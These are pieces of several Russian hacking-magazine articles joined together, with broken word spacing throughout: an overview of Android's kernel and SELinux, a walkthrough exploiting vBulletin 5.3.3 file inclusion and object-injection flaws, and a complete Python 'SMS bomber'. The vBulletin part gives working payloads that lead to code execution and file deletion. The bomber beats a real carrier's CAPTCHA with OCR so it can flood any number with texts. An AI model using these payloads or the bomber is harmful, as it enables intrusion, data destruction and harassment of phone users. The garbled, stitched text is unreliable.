У  про екта  есть  собс твен ная  ,  которая
из  короб ки  вклю чает  в  себя  microG  и  все  необ ходимые  для  его  работы
модифи кации.

сбор ка  про шив ки  LineageOS

ЯДРО LINUX И РАНТАЙМ
Android осно ван на ядре Linux. Ядро управля ет ресур сами смар тфо на, в том
чис ле дос тупом к железу,  управле нием опе ратив ной и пос тоян ной памятью,
запус ком,  оста нов кой  и  перено сом  про цес сов  меж ду  ядра ми  про цес сора
и мно гими дру гими задача ми. Как и в любой дру гой ОС, ядро — это сер дце
Android, цен траль ная часть, без которой все осталь ное раз валит ся.

Сло еный пирог Android

На личие ядра Linux, а так же час тично сов мести мой со стан дартом POSIX сре‐ 
ды  исполне ния  (в  пер вую  оче редь  это  биб лиоте ка  bionic,  осно ван ная
на реали зации стан дар тной биб лиоте ки язы ка С из OpenBSD) дела ет Android
сов мести мым с при ложе ниями для Linux. Нап ример, сис тема аутен тифика ции
wpa_supplicant,  при меня емая  для  под клю чения  к  Wi‐Fi‐сетям,  здесь  точ но
такая же, как в любом дис три бути ве Linux. В ран них вер сиях Android исполь‐ 
зовал ся  стан дар тный  bluetooth‐стек  Linux  под  наз вани ем  bluez  (поз же  его
замени ли  реали заци ей  от Qualcomm под  наз вани ем Bluedroid).  Здесь  даже
есть своя кон соль с набором стан дар тных UNIX/Linux‐команд, реали зован ных
в наборе  , изна чаль но соз данном для встра иваемых Linux‐сис тем.Toybox

Боль шинс тво кон соль ных при ложе ний, написан ных для Linux, мож но пор‐ 
тировать в Android прос той переком пиляци ей с помощью кросс‐ком пилято ра
(глав ное —  исполь зовать  ста тичес кую  ком пиляцию,  что бы  не  получить  кон‐ 
фликт  биб лиотек),  а  имея  пра ва  root,  на  Android‐девай се мож но  без  вся ких
проб лем  запус тить  пол ноцен ный  Linux‐дис три бутив.  Один  нюанс  —  дос туп
к  нему  мож но  будет  получить  либо  толь ко  через  кон соль,  либо  исполь зуя
VNC‐соеди нение.  Так же  сущес тву ет  про ект  ,  поз воля ющий  исполь‐ 
зовать смар тфон в качес тве ПК на базе Debian при под клю чении к монито ру.
Ту  же  фун кцию  обе щает  Samsung  при  под клю чении  сво их  смар тфо нов
к монито ру с помощью дока DeX.

Maru OS

Ста рый доб рый mc, запущен ный в Android

На чиная с  вер сии 4.4 Android  уме ет исполь зовать сис тему при нуди тель ного
кон тро ля дос тупа SELinux для защиты от взло ма и получе ния прав root. 
 раз работа на Агентством наци ональ ной безопас ности США и, если не вда‐ 

вать ся  в детали,  поз воля ет огра ничить при ложе ния  (в  том  чис ле сис темные
низ коуров невые ком понен ты) в воз можнос тях. И речь вов се не о пол номочи‐ 
ях,  которые  юзер  пре дос тавля ет  при ложе ниям,  а  о  таких  вещах,  как  сис‐ 
темные  вызовы  и  дос туп  к  тем  или  иным фай лам,  нев зирая  на  стан дар тные
пра ва дос тупа UNIX.

SELin‐
ux

Се рия  уяз вимос тей Stagefright,  поразив ших Android  нес коль ко  лет  назад,
поз воляла  получить  кон троль  над  устрой ством,  прос то  зас тавив  юзе ра
открыть при шед шую MMS или спе циаль ный файл в бра узе ре. Проб лема сос‐ 
тояла  в  муль тимеди афрей мвор ке  Stagefright,  содер жащем  сра зу  нес коль ко
уяз вимос тей  перепол нения  буфера.  При  откры тии  спе циаль ным  обра зом
под готов ленно го  муль тимеди афай ла  экс пло ит  исполь зовал  уяз вимость
и  запус кал  на  устрой стве  код  от  име ни  Stagefright  (который  работал
под рутом).

Все  эти  баги  Google  бла гопо луч но  зак рыла,  а  так же  порабо тала
над  модуля риза цией  кода  фрей мвор ка  и  его  запус ком  в  спе циаль ных
доменах  SELinux.  Эти  домены  зап реща ют  ком понен там,  ответс твен ным
за обра бот ку муль тимедиа, исполь зовать боль шую часть сис темных вызовов
Linux, вклю чая сис темные вызовы груп пы execve, которые как раз и были при‐ 
час тны к запус ку злов редно го кода.

Се год ня  SELinux  исполь зует ся  для  защиты  поч ти  всех  сис темных  ком‐ 
понен тов  Android.  И  это  ста ло  при чиной  рез кого  сни жения  количес тва  най‐ 
ден ных  багов  в  Android.  Но  при вело  к  фокуси ров ке  взлом щиков  на  ядре,
а  точ нее  тех  самых  зак рытых  драй верах,  аудит  кода  которых  ник то  не  про‐ 
водил  и  безопас ность  которых  не  гаран тирова на  (а  она,  как  ока залось,
находит ся в пла чев ном сос тоянии).

ВЫВОДЫ
Android опре делен но не самая стан дар тная ОС. Мно гие свои чер ты она поза‐ 
имс тво вала из опе раци онной сис темы Inferno, к соз данию которой при ложи‐ 
ли  руку  раз работ чики  язы ка  С,  UNIX  и  Plan  9.  А  эти  ребята  явно  зна ли,  что
делали.
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Ты  навер няка  неод нократ но  видел форумы  на  движ ке  vBul‐
letin. Форумы  как  таковые  уже не на пике моды,  но  vBulletin
по‐преж нему один из самых популяр ных движ ков. В его пос‐ 
ледней  (пятой)  вер сии  наш ли  нес коль ко  уяз вимос тей,
которые  спо соб ны  силь но  испортить  жизнь  адми ну.  В  этой
статье я рас ска жу, как они экс плу ати руют ся.

Пер вая проб лема зак люча ется в некор рек тной филь тра ции поль зователь ских
дан ных. О ней сооб щил незави симый иссле дова тель безопас ности, который
пожелал остать ся ано ним ным. Уяз вимость, хоть и име ет некото рые огра ниче‐ 
ния, получи ла ста тус кри тичес кой, потому что поз воля ет читать любые фай лы
и выпол нять про изволь ный код на целевой сис теме.

Вто рая уяз вимость была най дена иссле дова теля ми из ком пании 
и  получи ла  иден тифика тор  CVE‐2017‐17672.  Она  свя зана  с  осо бен ностя ми
десери али зации  дан ных  в  движ ке  и  может  быть  исполь зована  ата кующим
для уда ления про изволь ных фай лов в сис теме.

TRUEL IT

Пол ные  отче ты  с  деталя ми  обе их  проб лем  были  опуб ликова ны  в  рам ках
прог раммы  Beyond  Security  от  SecuriTeam.  Там  же  есть  PoC‐экс пло иты
для демонс тра ции уяз вимос тей. Давай по поряд ку прой дем ся по все му это‐ 
му.

ПРИГОТОВЛЕНИЯ
По делить ся  рабочим  стен дом  в  виде  кон тей нера  Docker  я,  к  сожале нию,
не могу:  из‐за  осо бен ностей  одной  из  уяз вимос тей  успешная  экс плу ата ция
зависит от сис темы, а ОС, на которой она воз можна, — это Windows. К тому
же  vBulletin  —  шту ка  плат ная,  и  тебе  при дет ся  самос тоятель но  най ти  воз‐ 
можность дос тать дис три бутив, если хочешь сам пощупать уяз вимос ти. Ска жу
толь ко, что нуж ная нам вер сия — это 5.3.3.

В качес тве сер вера я исполь зовал дис три бутив WAMP.

Ин стал ляция vBulletin 5

ЧИТАЕМ ФАЙЛЫ, ВЫПОЛНЯЕМ КОМАНДЫ
Итак,  при чина  пер вой  уяз вимос ти  —  некор рек тная  логика  при  обра бот ке
парамет ра routestring, которая поз воля ет ата кующе му добавить через include
любой файл на дис ке и выпол нить PHP‐код, который в нем находит ся.

Наш путь начина ется с самого глав ного фай ла — index.php, где про исхо‐ 
дит базовая ини циали зация при ложе ния.

/index.php
48: $app = vB5_Frontend_Application::init('config.php');
...
60: $routing = $app‐>getRouter();
61: $method = $routing‐>getAction();
62: $template = $routing‐>getTemplate();
63: $class = $routing‐>getControllerClass();

Пос мотрим на метод  .vB5_Frontend_Application::init

/includes/vb5/frontend/application.php
13: class vB5_Frontend_Application extends vB5_ApplicationAbstract
14: {
15:     public static function init($configFile)
16:     {
17:         parent::init($configFile);
18:
19:         self::$instance = new vB5_Frontend_Application();
20:         self::$instance‐>router = new vB5_Frontend_Routing();
21:         self::$instance‐>router‐>setRoutes();

Здесь нас инте ресу ет метод  .setRoutes

/includes/vb5/frontend/routing.php
47:     public function setRoutes()
48:     {
49:         $this‐>processQueryString();
...
54:         if (isset($_GET['routestring']))
55:         {
56:             $path = $_GET['routestring'];

В  перемен ную    попада ет  зна чение  юзер даты  из  парамет ра
. В него мож но передать путь до стра ницы форума, и она будет

заг ружена.

$path
routestring

Пе реда ча парамет ра routestring

До пус тим, мы переда ли  ./test
Пос ле наз начения перемен ной сле дует  кусок  кода,  который избавля ется

от сле ша в начале стро ки, если он при сутс тву ет.

/includes/vb5/frontend/routing.php
75:         if (strlen($path) AND $path{0} == '/')
76:         {
77:             $path = substr($path, 1); // $path = "test"
78:         }

Да лее  про веря ется  раз мер  передан ных  дан ных,  и  если  он  боль ше  двух,  то
начина ется  получе ние  рас ширения.  Вдруг  ты  решил  передать  что‐то  зап‐ 
рещен ное!

includes\vb5\frontend\routing.php
83:         if (strlen($path) > 2 )
84:         {
85:             $ext = strtolower(substr($path, ‐4)) ;
86:             if (($ext == '.gif') OR ($ext == '.png') OR ($ext == 
'.jpg') OR ($ext == '.css')
87:                 OR (strtolower(substr($path, ‐3)) == '.js') )
88:             {
89:                 header("HTTP/1.0 404 Not Found");
90:                 die('');
91:             }
92:         }

Как  видишь,  про вер ка  доволь но  стран ная.  Как  минимум  сму щает  наличие
зашито го  пря мо  в  код  спис ка  зап рещен ных  рас ширений.  Да  и  вооб ще  сам
факт,  что  рас ширение  получа ют,  вырезая  четыре  сим вола  с  кон ца  стро ки
(стро ка  85),  вызыва ет  недо уме ние.  В  общем,  если  мы  пыта емся  получить
файл  с  рас ширени ями  gif,  png,  jsp,  css  или  js,  то  сер вер  вер нет  стра‐ 
ницу 404 и выпол нение скрип та прек ратит ся. Ког да все про вер ки прой дены,
с помощью   вызыва ется метод   из клас са  . Он
ищет под ходящие роуты, исхо дя из передан ной поль зовате лем информа ции.

callApi getRoute vB_Api_Route

/includes/vb5/frontend/routing.php
92:         try
93:         {
94:             $message = ''; // Start with no error.
95:             $route = Api_InterfaceAbstract::instance()‐>callApi('
route', 'getRoute', array('pathInfo' => $path, 'queryString' => $
_SERVER['QUERY_STRING']));

Ес тес твен но, передан ного нами роута не най дет ся, и метод вер нет  .false

/core/vb/api/route.php
085:    public function getRoute($pathInfo, $queryString, $anchor = 
'')
086:    {
...
110:        // Check for standard routes
111:        if (is_string($pathInfo))
...
175:        // Get best route
176:        try
177:        {
...
190:            if ($route)
191:            {
...
338:            }
339:            else
340:            {
341:                return false;
342:            }

/includes/vb5/frontend/routing.php
127:        if (!empty($route))
128:        {
...
188:        }
189:        else
190:        {

Те перь код выпол няет филь тра цию поль зователь ских дан ных и пыта ется рас‐ 
парсить передан ный роут как пару кон трол лер — метод.

/includes/vb5/frontend/routing.php
192:            $stripped_path = preg_replace('/[^a‐z0‐9\/‐_.]+/i', 
'', trim(strval($path), '/'));
193:            if (strpos($stripped_path, '/'))
194:            {
195:                list($controller, $method) = explode('/', strtol
ower($stripped_path), 2);
...
216:            if (class_exists($controllerClass) AND method_exists(
$controllerClass, $controllerMethod))

Эта попыт ка тоже идет лесом, и мы под ходим к одной из важ ней ших час тей
уяз вимого кода.

/includes/vb5/frontend/routing.php
234:        if (strpos($path, '/') === false)
235:        {
236:            $this‐>controller = 'relay';
237:            $this‐>action = 'legacy';
238:            $this‐>template = '';
239:            $this‐>arguments = array($path);
240:            $this‐>queryParameters = array();
241:            return;
242:        }

Здесь выпол няет ся про вер ка на наличие сле шей в передан ном име ни. Если
они не най дены, то с помощью метода   кон трол лера 

 скрипт пыта ется заг рузить тот роут, что мы переда ли.
legacy vB5_Frontend_‐

Controller_Relay

/includes/vb5/frontend/controller/relay.php
63:     public function legacy($file)
64:     {
65:         $api = Api_InterfaceAbstract::instance();
66:         $api‐>relay($file);
67:     }

В  свою  оче редь,    соз дает  экзем пляр    клас са 
 и прок сиру ет зап рос фай ла в его метод  . Пос мотрим на него

поб лиже.

legacy $api Api_Interface_‐
Collapsed relay

/includes/api/interface/collapsed.php
117:    public function relay($file)
118:    {
119:        $filePath = vB5_Config::instance()‐>core_path . '/' . $
file;
120:
121:        if ($file AND file_exists($filePath))
122:        {
...
127:            require_once($filePath);

А  вот  это  уже  очень  инте рес но.  Перемен ная    содер жит  путь
до фай ла,  который сос тоит  из  пути до пап ки,  где  уста нов лено  ядро движ ка,
и передан ные нами в атри бут   дан ные. Если фай лы сущес тву ют,
то  строч ка  под  номером  127  выпол нит  фун кцию    и  вклю чит
в код получив ший ся файл, попут но выпол нив его.

$filePath

routestring
require_once

Пе ремен ная $filePath зависит от юзер даты

Сра зу при ходит в голову исполь зовать уяз вимость типа path traversal, то есть
вый ти из дирек тории и про читать файл за пре дела ми пре дус мотрен ной раз‐ 
работ чиками  дирек тории.  К  сожале нию,  сле ши  исполь зовать  мы  не  можем
из‐за вот это го усло вия.

/includes/vb5/frontend/routing.php
234:        if (strpos($path, '/') === false)
235:        {

Од нако  в Windows  в  качес тве  раз делите ля мож но  исполь зовать  и  обратный
слеш.

Ис поль зование обратно го сле ша в Windows для перехо да по дирек тори ‐
ям

Те перь поп робу ем отпра вить в качес тве   что‐то типа  .routestring ..\

Path traversal с помощью routestring

То,  что  нуж но.  Теперь  надо  заин клу дить  какой‐нибудь  инте рес ный  файл
с кодом на PHP. Мож но было бы поп робовать это сде лать через кар тинку ава‐ 
тара, но по умол чанию все кар тинки хра нят ся в виде бло бов в базе дан ных.

По это му вос поль зуем ся трю ком с лог‐фай лами веб‐сер вера. В фай ле ac‐
cess.log Apache, как ты зна ешь, по дефол ту сох раня ет все зап росы к сер веру.
Помимо URI, хра нят ся так же передан ные парамет ры.

По луча ется такой век тор ата ки: сна чала дела ем зап рос к сер веру, содер‐ 
жащий  код  на  PHP,  затем  через  уяз вимос ти  под клю чаем  файл  access.log,
и код из него выпол няет ся.

Экс плу ата ция RCE в vBulletin через лог‐файл веб‐сер вера

Вот  так  лег ко  и  неп ринуж денно  мы  получи ли  воз можность  выпол нять  про‐ 
изволь ный код в сис теме.

ВНЕДРЕНИЕ PHP-ОБЪЕКТОВ
Вто рая уяз вимость свя зана с небезо пас ной десери али заци ей поль зователь‐ 
ских дан ных. Давай пос мотрим на метод   из  клас са 

.  Он  исполь зует ся  для  того,  что бы  получать  информа цию
из базы дан ных о передан ном шаб лоне и сох ранять эту информа цию в кеше.

cacheTemplates vB_Li‐
brary_Template

/core/vb/library/template.php
164:    public function cacheTemplates($templates, $templateidlist, $
skip_bbcode_style = false, $force_set = false)
165:    {
...
168:        if (!is_array($templateidlist))
169:        {
170:            $templateidlist = unserialize($templateidlist);
171:        }
...
186:            // cache templates
187:            foreach ($temps as $temp)
188:            {
189:                if (empty(self::$templatecache["$temp[title]"]) 
OR $force_set)
190:                {
191:                    self::$templatecache["$temp[title]"] = $this
‐>getTemplateReturn($temp);
192:                }
193:            }

В стро ке 170 перемен ная   попада ет в фун кцию 
. Пос мотрим, отку да эта перемен ная берет ся. Для это го най дем вызовы

метода  .

$templateidlist unserial‐
ize

cacheTemplates

/core/vb/api/template.php
019: class vB_Api_Template extends vB_Api
020: {
...
135:    public function cacheTemplates($templates, $templateidlist, $
skip_bbcode_style = false, $force_set = false)
136:    {
137:        return vB_Library::instance('template')‐>cacheTemplates($
templates, $templateidlist, $skip_bbcode_style,  $force_set);
138:    }

Как мы видим,   вызыва ется через vBulletin API, который дос‐ 
тупен  любому  поль зовате лю без  авто риза ции  и СМС. Вот  таким POST‐зап‐ 
росом мож но обра тить ся к нему.

cacheTemplates

Дан ные из парамет ра templateidlist без какой‐либо филь тра ции попада ‐
ют в фун кцию unserialize

Те перь  управле ние  парамет ром    дает  воз можность  выпол‐ 
нить  ата ку  PHP  object  injection,  нуж но  толь ко  най ти  под ходящий  гад жет
или цепоч ку гад жетов.

templateidlist

В пред став ленном PoC, который показа ли ребята из TRUEL IT, они исполь‐ 
зуют дес трук тор из клас са  .vB_Image_ImageMagick

/core/vb/image/imagemagick.php
21: class vB_Image_ImageMagick extends vB_Image
22: {

/core/vb/image.php
0021: abstract class vB_Image
0022: {
...
0137:   protected $imagefilelocation = null;
...
1464:   public function __destruct()
1465:   {
1466:       $this‐>unloadImage();
1467:   }
1468:
1469:   public function unloadImage()
1470:   {
1471:       if (!empty($this‐>imagefilelocation))
1472:       {
1473:           @unlink($this‐>imagefilelocation);
1474:       }
1475:
1476:       $this‐>imagefilelocation = null;
1477:   }

В  качес тве  свой ства    исполь зует ся  путь  до  фай ла,
который тре бует ся уда лить. В резуль тате получа ется вот такой зап рос на уда‐ 
ление фай ла в сис теме.

$imagefilelocation

POST /ajax/api/template/cacheTemplates HTTP/1.1
Host: vbulletin.visualhack
Content‐Type: application/x‐www‐form‐urlencoded
templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:
"%00*%00imagefilelocation";s:13:"/path/to/file";}

Толь ко тут неболь шая проб лемка — при выпол нении это го кода мы отхва тим
ошиб ку:

Fatal error: Cannot use object of type vB_Image_ImageMagick as array

Все  потому,  что  даль ше  к  десери али зован ному  объ екту  про исхо дит  обра‐ 
щение как к мас сиву.

/core/vb/library/template.php
173:        foreach ($templates AS $template)
174:        {

Но это сов сем не проб лема, нам прос то нуж но сде лать этот объ ект эле мен‐ 
том мас сива. Такой вот скрип тик выдаст нуж ный пей лоад.

<?php
class vB_Image_ImageMagick {
   protected imagefilelocation = "<file_path>";
}
$a = new vB_Image_ImageMagick;
echo serialize([$a]);

Те перь, если передать получен ную стро ку в парамет ре  , экс‐ 
пло ит отра бота ет успешно.

templateidlist

Экс пло ит успешно отра ботал. Файл уда лен

Ес тес твен но,  эта  уяз вимость  уже  не  зависит  от  исполь зуемой  на  сер вере
опе раци онной сис темы и отлично работа ет как в Linux, так и в Windows.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Окон чание  года  порадо вало  нас  серь езной  уяз вимостью  в  популяр ней шем
движ ке. Я вооб ще думал, что уже боль ше не уви жу уяз вимос тей типа LFI, счи‐ 
тал, что их эра прош ла, а тут такое. :‐)

Хо тя  баги  до  смеш ного  баналь ны,  обна ружи ли  их  толь ко  к  вер сии  5.3.3.
Непонят но, как они усколь зали из виду на про тяже нии столь ких релизов. Тем
не менее раз работ чики выпус тили новую вер сию, где залата ли дыру, так что,
если ты счас тли вый вла делец vBulletin, спе ши обно вить ся на 5.3.4.
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ВЗЛОМ

В  этой  статье мы  иссле дуем  ошиб ки  реали зации CAPTCHA
и CSRF‐токенов, в резуль тате чего научим ся рас сылать SMS
в любом количес тве через гейт Vodafone.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ОБЗОР ОНЛАЙН SMS-СЕРВИСА VODAFONE
Наш сегод няшний подопыт ный, пор тал  , рань ше при над лежал
«МТС Укра ина». Эту  кон тору выкупил Vodafone. Есть на этом сай те и 

.

http://mts.ua
фор ма

отправ ки SMS
За щище на она циф ровой CAPTCHA из четырех сим волов. Сто ит отме тить,

что фор ма  поз воля ет  отправ лять  SMS  толь ко  кли ентам  Vodafone  с  пре фик‐ 
сами номеров:

+38050
+38066
+38095
+38099

Те перь пос мотрим на саму CAPTCHA. Как видишь, циф ры впол не раз личимы.
Они име ют крас ный цвет, но их верх обре зан, и рас положе ны они очень близ‐ 
ко друг к дру гу.

А  теперь  приг лядим ся  более  вни матель но  к  той  час ти  скрип та,  которая
отоб ража ет CAPTCHA. Если мы сфор миру ем ссыл ку

http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&
width=115&height=42&backColor=0xffffff&foreColor=0xff0000

то уви дим CAPTCHA с высотой 42 пик селя и 115 пик селей шириной. Изме нив
зна чения на 242 и 315, мы получим уди витель ный резуль тат: обре зан ный верх
цифр уйдет и рас сто яние меж ду сим волами уве личит ся.

При  отправ ке  SMS  скрип ту 
 через метод POST переда ются сле дующие парамет ры:

http://www.mts.ua/ru/online‐services/
send‐sms/

 — это CSRF‐токен,  который нуж но про читать из HTML
один раз при под готов ке рас сылки;

• YII_CSRF_TOKEN

 — это стан дар тное зна чение, оно не меня ется;• widgetId:'messager'

 — из зна чения ясно, что это мобиль‐ 
ная сеть;

• MessageForm[network]:'38050'

  —  номер  телефо на,  куда  отправ‐ 
ляем SMS;

• MessageForm[phone]:'123­45­67'

 — кодиров ка сооб щения, мож но
менять;

• MessageForm[encoding]:'cyrilic'

 —  тран сли тера ция  (0 —  вык лючена,
1 — вклю чена);

• MessageForm[is_translit]:'0'

 — сам текст сооб щения;• MessageForm[message]:'Привет 123'

 — рас познан ная CAPTCHA.• MessageForm[verifyCode]:'4444'

Так же не сто ит забывать, что нуж но хра нить cookies! В даль нейшем мы к это‐ 
му вер немся.

РАЗРАБОТКА SMS-БОМБЕРА
Поп робу ем  раз работать  SMS‐бом бер  —  скрипт,  который  будет  рас сылать
через  гейт  мно жес тво  одно тип ных  SMS‐сооб щений.  Раз рабаты вать  будем
на Python  2.x,  так же  нам  понадо бят ся модули 

.
requests, pytesseract,  Im-

age

Скрипт  мы  будем  раз рабаты вать  под Windows,  с  чем  и  свя заны  осо бен‐ 
ности уста нов ки Tesseract и нас трой ки путей.

WWW

•FAQ по Tesseract для Python
•FAQ по requests для Python

В самом начале мы получа ем CSRF‐токен:

def get_csrf():
   xhtml=get_url("http://www.mts.ua/ru/online‐services/send‐sms/",1)
   xs=xhtml.find("var csrfToken = '")
   xl=len("var csrfToken = '")
   csrf_=xhtml[xs+xl:xs+xl+40]
   return csrf_

Фун кция  оче вид ная  —  обыч ный  поиск  тек ста.  CSRF‐токен  получа ем  все го
один раз за всю рас сылку.

Те перь  нуж но  получить  CAPTCHA  и  рас познать  ее.  Для  это го  мы  будем
исполь зовать  . Вна чале нуж но уста новить саму прог рамму и модуль
Python  к  ней.  Пол ный  исходный  код  фун кции  мож но  пос мотреть  в  скрип те,
который я при веду в кон це статьи.

Tesseract

В  этой  фун кции  мы  ска чива ем  CAPTCHA  и  сох раня ем  ее  на  дис ке
как  .  Затем  мы  рас позна ем  ее  с  помощью  pytesseract  и  про‐ 
водим  про вер ку  дли ны  рас познан ной  стро ки.  Если  в  отве те  мы  получи ли
четыре  сим вола,  зна чит,  все  пра виль но,  если  нет  —  пыта емся  рас познать
пов торно до тех пор, пока не получим иско мые четыре циф ры.

xcaptcha.png

Ве роят ность рас позна вания кап чи — 40–60%. Конеч но, не 100%, но все рав‐ 
но солид но.

Для сох ранения cookies и получе ния дан ных по URL исполь зует ся вспо мога‐ 
тель ная фун кция  : куки сох раня ются (или нет) в зависи мос ти от зна‐ 
чения  .

get_url
xparam

Ос тает ся толь ко отпра вить само сооб щение. Это выпол няет ся в фун кции
send_sms,  где  запол няют ся  все  опи сан ные  выше  парамет ры  для  скрип та

 и отправ ляет ся POST‐
зап рос.
http://www.mts.ua/ru/online‐services/send‐sms/

В зависи мос ти от наличия в отве те стро ки

<div class="response‐message">

мы  опре деля ем,  успешно  отправ лено  сооб щение  или  нет.  Сто ит  отме тить,
что User Agent мы под став ляем под дель ный:

headers = {'User‐Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 
10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 
Safari/537.36'}

Ис поль зование SMS‐бом бера

ЗАКЛЮЧЕНИЕ
На  этом  у  меня  все.  Пол ный  код  скрип та  при веден  во  врез ке  ниже,  а  я
в  качес тве  зак лючения  еще  раз  напоми наю:  все  то,  что  ты  сегод ня  про чел,
опуб ликова но исклю читель но в обра зова тель ных целях. ;)

Пол ный лис тинг скрип та
 

import sys,os,requests,time,subprocess,string
try:
    import Image
except ImportError:
    from PIL import Image
import pytesseract
pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\
Tesseract‐OCR\\tesseract.exe'
tessdata_dir_config = '‐‐tessdata‐dir "C:\\Program Files (x86)\\
Tesseract‐OCR\\tessdata"'
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
headers = {'User‐Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 
10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 
Safari/537.36'}
SESSION=""
COOKIES=""
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def write_to_file(fname,xdata):
    f=open(fname,"w")
    f.close
    f=open(fname,"wb")
    f.write(xdata)
    f.close
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def get_url(xURL,xparam):
    global headers
    global SESSION
    global COOKIES
    try:    
        r = SESSION.get(xURL, headers=headers,allow_redirects=True)
        if xparam==1:
            COOKIES=r.cookies
    except:
        print "[‐] Network errror !"
        sys.exit(0)
    if r.status_code != 200:
        print "[‐] Server errror",r.status_code
        sys.exit(0)
    return r.content
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def get_captcha():
    n_try=1
    xlen_=5
    while xlen_!=4:
        print "[*] Getting CAPTCHA from mts.ua, attempt number",
n_try
        captcha_=get_url("http://www.mts.ua/?r=site/captcha&v=5981af
f096f17&widgetId=messager&width=315&height=242&backColor=0xffffff&
foreColor=0xff0000",0)
        print "[+] Captcha downloaded"
        write_to_file("xcaptcha.png",captcha_)
        print "[+] Captcha saved to xcaptcha.png"
        d_captcha=pytesseract.image_to_string(Image.open('xcaptcha.
png'), lang='eng', config = tessdata_dir_config)
        xlen_=len(d_captcha)
        try:
            z=int(d_captcha)
        except Exception as e:
            xlen_=5
        if xlen_!=4:
            print "[‐] OCR is no good:",d_captcha
        n_try=n_try+1
    print "[!] Well done OCR is good:",d_captcha
    return d_captcha
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def get_csrf():
    xhtml=get_url("http://www.mts.ua/ru/online‐services/send‐sms/",1
)
    xs=xhtml.find("var csrfToken = '")
    xl=len("var csrfToken = '")
    csrf_=xhtml[xs+xl:xs+xl+40]
    return csrf_
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
def send_sms(csrf,captcha,xnet,xnumber,xsms):
    global SESSION
    global COOKIES
    xcaptcha=str(captcha)
    xdata={'YII_CSRF_TOKEN':csrf,'widgetId':'messager','MessageForm[
network]':xnet,'MessageForm[phone]':xnumber,'MessageForm[encoding]':
'cyrilic','MessageForm[is_translit]':'0','MessageForm[message]':xsms
,'MessageForm[verifyCode]':xcaptcha}
r = SESSION.post(url="http://www.mts.ua/ru/online‐services/send‐sms/
", headers=headers, data=xdata, cookies=COOKIES)
    zhtml=r.content
    sms_status=zhtml.find("<div class=\"response‐message\">")
    if sms_status!=‐1:
        print "[+] SMS Status: Sent OK"
        return 1
    else:
        print "[‐] SMS Status: Sent BAD"
        return 0
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
os.system("cls")
print "‐=[Vodafone SMS Unobomber v 0.1]=‐"
SESSION=requests.Session()
sms_text=raw_input("Enter SMS message: ").decode(sys.stdin.encoding 
or 'utf‐8')
xnetwork=raw_input("Enter mobile network(38050;38066;38095;38099): "
)
xnumber=raw_input("Enter mobile number(in format XXX‐XX‐XX): ")
number_of_sms=int(raw_input("Enter number of SMS's(1..XXX): "))
goods_=0
bads_=0
totals_=number_of_sms
XCSRF=get_csrf()
print "[+] YII_CSRF_TOKEN =",XCSRF
while number_of_sms>0:
    CAPTCHA=get_captcha()
    print "[*] Sending SMS ..."
    xresult=send_sms(XCSRF,CAPTCHA,xnetwork,xnumber,sms_text)
    if xresult==1:goods_=goods_+1
    if xresult==0:bads_=bads_+1        
    number_of_sms=number_of_sms‐1
    time.sleep(2)
print "‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐"
print "[!] Total:",totals_,"; Goods:",goods_,"; Bads:",bads_
# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
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ВЗЛОМ

Боль шинс тво  прес тупни ков  —  далеко  не  про фес сиона лы,
поэто му  и  исполь зуемые  ими  спо собы  сок рытия  дан ных
наив ны.  И  тем  не  менее  эти  спо собы  в  мас се  сво ей  сра‐ 
баты вают — прос то потому, что у сле дова теля может не быть
вре мени  или  дос таточ ной  ква лифи кации  для  того,  что бы
про вес ти  качес твен ный  ана лиз.  Какие  же  спо собы  исполь‐ 
зуют  сред неста тис тичес кий  Джон  и  сред неста тис тичес кая
Мэри,  что бы сок рыть  ули ки? Набор  уло вок  невелик,  а  сами
улов ки дос таточ но бес хитрос тны.

